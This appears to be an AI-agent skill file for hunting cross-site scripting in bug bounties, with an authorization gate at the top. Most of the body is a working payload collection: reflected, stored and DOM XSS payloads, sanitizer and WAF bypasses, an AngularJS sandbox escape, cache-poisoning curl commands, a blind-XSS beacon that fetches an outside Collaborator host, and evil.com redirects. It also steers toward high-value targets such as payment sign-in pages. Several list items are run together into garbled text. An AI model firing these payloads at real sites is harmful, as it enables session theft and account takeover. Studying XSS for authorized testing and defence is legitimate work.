⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.
Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
- Ask the user to state the exact target URL, IP, account, or resource.
- Ask the user to confirm written authorization and the permitted scope.
- Show the exact command(s) and explain their expected effect.
- Wait for explicit confirmation in the current conversation.
Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
Verify reflection before claiming XSS — encoding is everything.
Your payload must appear in the response body with angle brackets UNESCAPED. <script> is XSS. <script> is safe encoding — not vulnerable.
Use a UNIQUE NUMERIC CANARY in your proof payload — e.g. <script>alert(91234)</script> or "><img src=x onerror=alert(91234)>. Pick a distinctive 4+ digit number, not alert(1). Practice pages are full of example payloads like alert(1)/alert('XSS') in their hint text; a unique number is how you tell YOUR reflected payload apart from the page's decoy examples. Proof = your alert(<canary>) shows up in the response with raw, unescaped angle brackets.
Try these contexts in order:
Inline script injection (works when HTML context allows new tags):
<script>alert(CANARY)</script>
Use whatever canary string your proof contract specifies. Confirmed when <script>alert(CANARY) appears literally (not HTML-encoded) in the response.
Attribute event injection (when < is filtered but attributes are injectable):
" onmouseover="alert(CANARY)
" onerror="alert(CANARY)
" onload="alert(CANARY)
URL/href context:
javascript:alert(CANARY)
Distinguishing success from failure:
<script>alert( unescaped — browser would execute it<script> or <script> — properly encodedFor stored XSS: inject into a field that other pages display (comments, usernames, ticket titles). Then fetch the rendering page and check for unescaped payload. The payload executes when any user views that page — higher severity than reflected.
XSS is high-value when it combines privileged context + persistent delivery + scope escalation. The highest payouts come from:
*/admin, */settings) — attacker can hijack sessions with elevated privileges, exfiltrate tokens, or pivot to account takeoverpaypal.com, checkout pages, currency converters) — XSS here enables credential harvesting and financial fraud at scalepaypal.com/signin) — XSS here is critical because it can steal auth tokens across the entire platform*.myshopify.com, api.collabs.*) — XSS in one tenant's context can bleed across tenant boundarieshelp.shopify.com) — lower severity individually, but often have looser sanitization and trusted user perceptionAsset types that pay most: Main product domains > Admin subdomains > API endpoints > Marketing/help sites
For blind and stored XSS — claims require an out-of-band confirmation, the same as blind SSRF. The OOB receiver fires when the payload actually executes in a browser somewhere (an admin reviewing logs, a SOC analyst opening a ticket, an email rendering a stored payload).
< and returned a different status code → not XSS, that's WAF noise.%22onclick%3D… → not XSS, the browser does NOT decode URL encoding inside HTML attribute values; the %22 stays as literal %22 in the DOM.<script> tag appears in the response as <script> → not XSS, that's escaping.bxss-err-<random>.<collab>.oastify.com) arrives in the OOB listener after your payload was stored / reflected / queued.Any field whose value might be viewed in an admin UI / log viewer / email / report later:
?ErrorMessage=<svg onload=fetch('//bxss-<tag>.<collab>/x')>)?Source=, ?ReturnUrl=)Always sub-tag the Collaborator subdomain by sink so callbacks identify which field fired.
Lesson from a authorized engagement: 10 blind-XSS Collaborator beacons planted across ErrorMessage, Source, the Authentication.asmx username field, User-Agent header, Referer header, and request paths. Zero callbacks over a 10-minute polling window. Conclusion: the SharePoint SOC views logs / errors in tooling that does not render HTML, AND the ASP.NET request validator blocks < in query strings before the payload reaches storage. Stored-XSS claim correctly retracted.
URL Patterns:
/admin*
/settings*
/wiki*
/reports*
?utm_source=
?redirect=
?q=
?search=
?callback=
?return_url=
/render*
/preview*
/documentation*
Response Headers (weak defense signals):
Content-Type: text/html (without nosniff)
Content-Security-Policy: (absent or using unsafe-inline)
Content-Type: image/svg+xml (CSP often not applied)
X-XSS-Protection: 0
JS Patterns in source that signal DOM XSS:
document.write(
innerHTML =
location.hash
location.search
location.href
document.referrer
eval( <!-- security-allowlist: documented payload technique reference, do not execute outside authorized scope -->
setTimeout(string,
setInterval(string,
$.html(
$(location
Tech Stack Signals:
html_safe, raw, translate, Action Text, or ActionView sanitize helpersstyle tag in allowlistsMap all reflection points — Spider the target and identify every place user input appears in HTML output. Prioritize: URL parameters, form fields, HTTP headers (User-Agent, Referer), file upload names/contents, and API response fields rendered in UI.
Classify by type — Determine if each reflection is Reflected (URL param → response), Stored (database → later rendering), or DOM-based (JS reads URL/storage → DOM sink). Each requires different payload delivery.
Probe sanitizer behavior — Send harmless canary strings first: aaa"bbb'ccc<ddd to determine which characters are escaped. Observe if output is in HTML context, attribute context, JS context, or URL context.
Marker Discipline: When choosing canary strings, they MUST be unique random alphanumeric strings (8+ chars, no English words, no protocol keywords). Bad markers: test, marker, evil, attacker, payload, javascript, script. Good markers: cpmark987abc, x4hd2k9pq, __ZZ_MARKER_<random>_ZZ__. Before claiming reflection, search the baseline (no-marker) response for the marker — if it appears naturally in the page (e.g., the word javascript is in every page's help-link hrefs), it's a false-positive trap and you need a different marker. This single check catches 80% of false-positive reflection reports.
Test allowlisted tag combinations — If a sanitizer is in use, probe for dangerous tag combos: <math>+<style>, <svg>+<style>, <iframe srcdoc>, <style> with expressions.
Hunt SVG and file upload vectors — Upload SVG files containing <script> tags. Check Content-Type response header. Test if CSP applies to SVG responses separately.
Test markdown/documentation renderers — In wiki, README, or doc fields, try: [text] (javascript:alert(1)), inline HTML injection, Kroki/Mermaid payloads, RDoc link:javascript: syntax.
Check redirect parameters — Test ?redirect=javascript:alert(1) and ?return_url=//evil.com — look for single-click XSS via improper redirect sanitization.
Probe UTM and analytics parameters — utm_source, utm_medium, utm_campaign are often reflected without sanitization on marketing pages.
Test CSP bypass opportunities — If CSP is present, look for: JSONP endpoints on allowed domains, unsafe-inline in style-src, SVG that bypasses script-src, script gadgets on whitelisted CDNs.
Attempt stored XSS in profile/metadata fields — Username, bio, tag names, label colors, organization names — these render in many contexts and often have weaker validation.
Check cache poisoning — Test if reflected XSS payloads can be cached and served to other users (especially on CDN-fronted pages), transforming reflected XSS into stored-equivalent.
Validate in target browser — Always confirm in a real browser before reporting. Many payloads echo back in Burp but fail to execute in a real browser due to CSP, output encoding, framework auto-escaping, context mismatch, WAF normalization, or browser HTML-parsing differences. (Note: Chrome's XSS Auditor was removed in Chrome 78 / Oct 2019 and no shipping browser has one — never attribute a failed PoC to an "XSS auditor".)
Basic context probing:
aaa"bbb'ccc<ddd>eee`fff
Reflected XSS — URL parameter baseline:
?q=<script>alert(document.domain)</script>
?q="><script>alert(1)</script>
?utm_source=<svg onload=alert(1)>
?redirect=javascript:alert(document.domain)
Attribute context escapes:
" onmouseover="alert(1)
' onmouseover='alert(1)
`onmouseover=alert(1)
SVG-based (CSP bypass):
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert(document.domain)</script>
</svg>
Sanitizer bypass — math+style combo:
<math><style><img src=x onerror=alert(1)></style></math>
Sanitizer bypass — svg+style combo:
<svg><style><img src=x onerror=alert(1)></style></svg>
Markdown/RDoc javascript: link:
[Click me] (javascript:alert(document.domain))
Kroki/diagram injection:
```kroki
plantuml
@startuml
:<script>alert(1)</script>;
@enduml
**DOM XSS via hash/search:**
```javascript
// In browser console to test sink
location.hash = '#"><img src=x onerror=alert(1)>'
location.href = 'https://target.com/page#<script>alert(1)</script>'
Grep patterns for source review:
# Find dangerous sinks in JS
grep -rn "innerHTML\|document\.write\|eval(\|setTimeout(\|location\.hash\|location\.search" --include="*.js" <!-- security-allowlist: documented payload technique reference, do not execute outside authorized scope -->
# Find unsafe Rails helpers
grep -rn "html_safe\|raw(\|sanitize\|translate" --include="*.erb" --include="*.rb"
# Find reflected params in responses
grep -i "utm_source\|utm_medium\|redirect\|return_url\|callback\|next" --include="*.html" -r
Curl to detect reflection:
curl -sk "https://target.com/search?q=XSSCANARY" | grep -i "XSSCANARY"
curl -sk "https://target.com/page?utm_source=XSSCANARY" | grep -i "XSSCANARY"
Cache poisoning test:
# Send payload then fetch with clean session to see if cached
curl -sk "https://target.com/page?param=<script>alert(1)</script>" -H "X-Forwarded-Host: evil.com"
curl -sk "https://target.com/page" | grep -i "evil.com"
Trusting html_safe in Rails — Developers mark strings as safe after partial sanitization, or chain .html_safe on user-supplied data without full sanitization.
Allowlist sanitizers with dangerous tag combinations — Allowing style alongside math or svg creates mXSS (mutation XSS) opportunities even when individual tags seem harmless.
Third-party rendering pipelines — Markdown-to-HTML pipelines (Banzai, Kramdown, Kroki) introduce XSS when diagram/rendering engines aren't sandboxed and output isn't re-sanitized.
Reflecting URL parameters without encoding — UTM params, redirect URLs, and search terms are reflected in page HTML or JS without proper HTML-encoding, especially on marketing/help pages that are treated as lower-security.
SVG treated as non-script content — Developers apply CSP to HTML responses but forget that image/svg+xml responses can execute JavaScript and often aren't covered by the same CSP header.
Incomplete sanitizer patches — CVE-patched sanitizers are bypassed by slight variations (e.g., CVE-2022-32209's incomplete fix demonstrates that sanitizer logic is difficult to get right, creating bypass chains).
javascript: scheme not blocked in href/src — Link renderers (RDoc, Markdown) fail to block javascript: URLs in href attributes, treating them as valid external links.
Cache layers storing authenticated user input — CDN or reverse proxy caches store responses containing user-controlled XSS payloads, serving them to subsequent unauthenticated users.
File upload without Content-Type enforcement — Accepting SVG or HTML files and serving them without forcing Content-Disposition: attachment or overriding Content-Type.
Translation helper XSS — Rails translate/t() helper marks translation strings as HTML-safe and interpolates user input, enabling injection through locale keys.
CSP Bypass:
image/svg+xml responses may not inherit the page's CSP*.googleapis.com, *.cloudflare.com)<base> tag injection to redirect script sourcesunsafe-eval or unsafe-inline in style-src to execute CSS-based attacks<link rel=preload> or <meta http-equiv> gadgets to bypass strict policiesSanitizer Bypasses:
<math><style><img onerror=...>)<svg> + <style> or <math> + <style> create parsing ambiguityonmouseover=alert(1) without quotes, backtick delimitersjavascript: or javascript: in href valuesjavascript:, vbscript:, data:text/html
Filter Evasion:
<!-- Case variation -->
<ScRiPt>alert(1)</ScRiPt>
<!-- Null bytes (legacy/weak — null bytes rarely survive modern HTTP/HTML parsing; low success, don't rely on it) -->
<scr\x00ipt>alert(1)</scr\x00ipt>
<!-- Tag breaking -->
<svg/onload=alert(1)>
<!-- Event handler alternatives -->
<body onpageshow=alert(1)>
<input autofocus onfocus=alert(1)>
<details open ontoggle=alert(1)>
WAF Bypass:
// Obfuscated payloads
<svg onload=eval(atob('YWxlcnQoMSk='))> <!-- security-allowlist: documented payload technique reference, do not execute outside authorized scope -->
// String splitting
<script>ale\u0072t(1)</script>
// HTML5 event handlers that WAFs miss
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
Redirect-based XSS bypass:
?next=javascript://%0aalert(1)
?next=javascript:alert(1)
?redirect=//evil.com/%0d%0a%0d%0a<script>alert(1)</script>
AngularJS client-side template injection (CSTI) & sandbox escapes:
ng-app/ng-controller attributes, angular.js/angular.min.js, or {{ }} interpolation). Probe a reflected param with {{7*7}} — if it renders 49 (not the literal text), the value is evaluated as an Angular expression. Always drive the browser tool so the expression actually evaluates.{{constructor.constructor('alert(1)')()}} or {{$eval.constructor('alert(1)')()}}.$eval unavailable AND string literals disallowed: overwrite String.prototype.charAt (this disables the sandbox's per-character string checks), then use the orderBy filter with String.fromCharCode to build your JS with no quotes at all. Payload structure (fill in the placeholders yourself):
?PARAM=1&toString().constructor.prototype.charAt=[].join;[1]|orderBy:toString().constructor.fromCharCode(CODES)=1
PARAM = the reflected parameter you found.CODES = the comma-separated character codes of the JavaScript you want to run — compute these yourself (e.g. encode x=alert(1) by converting each character to its char code). toString() produces a string without quotes; [].join replaces charAt; orderBy invokes the filter; fromCharCode(CODES) rebuilds your payload from the codes.Before writing the report, answer all three:
What can the attacker DO right now?
The attacker must demonstrate a concrete action: execute JavaScript in victim's browser session on the target domain, steal session cookies/tokens, perform actions as the victim, or exfiltrate sensitive data. "Alert box appears" is not sufficient — state what the alert box represents in terms of access (e.g., "I can read document.cookie which contains the auth token used for all admin API calls").
What does the victim LOSE? The victim must lose something real: session control (account takeover), sensitive data (cookies, CSRF tokens, PII), money (financial action performed without consent), or trust (credential phishing via DOM manipulation). If the victim is an unauthenticated user on a public page with no session, quantify what that user's browser is exposed to.
Can it be reproduced in 10 minutes from scratch? You must have a self-contained PoC URL or step sequence that any reviewer can follow without prior setup. The payload must fire in a current browser (Chrome/Firefox latest) without special configuration. If it only works in outdated browsers or requires the victim to have a specific extension installed, it likely won't be accepted.
Scenario 1 — Stored XSS via Cache Poisoning on Sign-In Page An attacker discovered that a major payment platform's sign-in page reflected user-controlled input and was cached by the CDN layer. By sending a crafted request that poisoned the cache, the attacker transformed a reflected XSS into a stored-equivalent that fired for every user visiting the login page. Impact: mass credential harvesting at scale — every user who visited the sign-in page would have their credentials captured. The bypassed CSP made remediation require both code fixes and cache purging.
Scenario 2 — Stored XSS via Diagram Rendering in Wiki A developer platform's wiki feature integrated a third-party diagram rendering service (Kroki). An attacker crafted a malicious diagram payload that, when rendered, executed arbitrary JavaScript in the context of any user viewing the wiki page. Because wikis are shared across team members including project owners and admins, the payload could silently exfiltrate OAuth tokens and perform administrative actions on behalf of every viewer — effectively achieving organization-level account takeover from a single stored payload.
Scenario 3 — Sanitizer Bypass via Label Color Field with CSP Bypass
A project management platform patched an XSS vulnerability in label color fields but the fix was incomplete. A researcher found that by combining the style tag allowlist with specific tag nesting (svg>style), the sanitizer's output mutated when parsed by the browser, executing injected JavaScript. The payload also bypassed the platform's Content Security Policy because the injection occurred in an allowlisted inline style context. Impact: any user with label-creation permissions (often all project members) could inject persistent XSS that triggered for every project visitor, enabling cross-user session theft within the same project namespace.
triage-validation) before reporting; report via report-writing. Prefer a sandbox, disposable VM, or controlled lab.# Read-only first step; confirm scope before anything active.
cat scope.txt # target list from the authorized engagement brief
Adapted from elementalsouls/Claude-BugHunter (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.